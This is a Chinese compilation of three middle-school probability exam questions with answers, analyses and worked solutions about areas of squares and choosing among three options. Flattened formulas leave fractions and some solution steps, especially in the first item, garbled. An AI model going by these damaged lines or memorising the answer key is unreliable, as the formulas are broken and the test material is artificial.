概率真题汇编及答案 一、选择题 1.如图,小明随意向水平放置的大正方形内部区域抛一个小豆子,则小豆子落在小正方形内部及边界(阴影)区域的概率为() A.3 4 B. 1 3 C. 1 2 D. 1 4 【答案】C 【解析】 【分析】 算出阴影部分的面积及大正方形的面积,这个比值就是所求的概率.【详解】 解:设小正方形的边长为1,则其面积为1. Q圆的直径正好是大正方形边长, ∴22,∴2, 222 =,则小球停在小正方形内部(阴影)区域的概率为1 2 . 故选:C. 【点睛】 概率=相应的面积与总面积之比,本题实质是确定圆的内接正方形和外切正方形的边长比.设较小吧边长为单位1是在选择填空题中求比的常见方法. 2.岐山县各学校开展了第二课堂的活动,在某校国学诗词组、篮球足球组、陶艺茶艺组三个活动组织中,若小斌和小宇两名同学每人随机选择其中一个活动参加,则小斌和小宇选到同一活动的概率是() A.1 2 B. 1 3 C. 1 6 D. 1 9 【答案】B 【解析】 【分析】 先画树状图(国学诗词组、篮球足球组、陶艺茶艺组分别用A、B、C表示)展示所有9种等可能的结果数,再找出小斌和小宇两名同学的结果数,然后根据概率公式计算即可.【详解】 画树状图为:(国学诗词组、篮球足球组、陶艺茶艺组分别用A. B. C表示)

共有9种等可能的结果数,其中小斌和小宇两名同学选到同一课程的结果数为3, 所以小斌和小宇两名同学选到同一课程的概率=31 93 , 故选B. 【点睛】 本题考查的是用列表法或画树状图法求概率.列表法或画树状图法可以不重复不遗漏的列出所有可能的结果,列表法适合于两步完成的事件,树状图法适用于两步或两步以上完成的事件.用到的知识点为:概率=所求情况数与总情况数之比. 3.疫情防控,我们一直在坚守.某居委会组织两个检查组,分别对“居民体温”和“居民安全出行”的情况进行抽查.若这两个检查组在辖区内的某三个校区中各自随机抽取一个小区进行检查,则他们恰好抽到同一个小区的概率是() A.1 3 B. 4 9 C. 1 9 D. 2 3 【答案】A 【解析】 【分析】 将三个小区分别记为A、B、C,列举出所有等情况数和他们恰好抽到同一个小区的情况数,然后根据概率公式即可得出答案. 【详解】 将三个小区分别记为A、B、C,根据题意列表如下: A B C A(A,A)(B,A)(C,A) B(A,B)(B,B)(C,B) C(A,C)(B,C)(C,C) 由表可知,共有9种等可能结果,其中他们恰好抽到同一个小区的有3种情况, 所以他们恰好抽到同一个小区的概率为31 = 93 . 故选:A. 【点睛】 此题主要考查了列表法求概率,列表法可以不重复不遗漏的列出所有可能的结果,适合于两步完成的事件;树状图法适用于两步或两步以上完成的事件;解题时还要注意是放回试验还是不放回试验.用到的知识点为:概率=所求情况数与总情况数之比.

相关文档
最新文档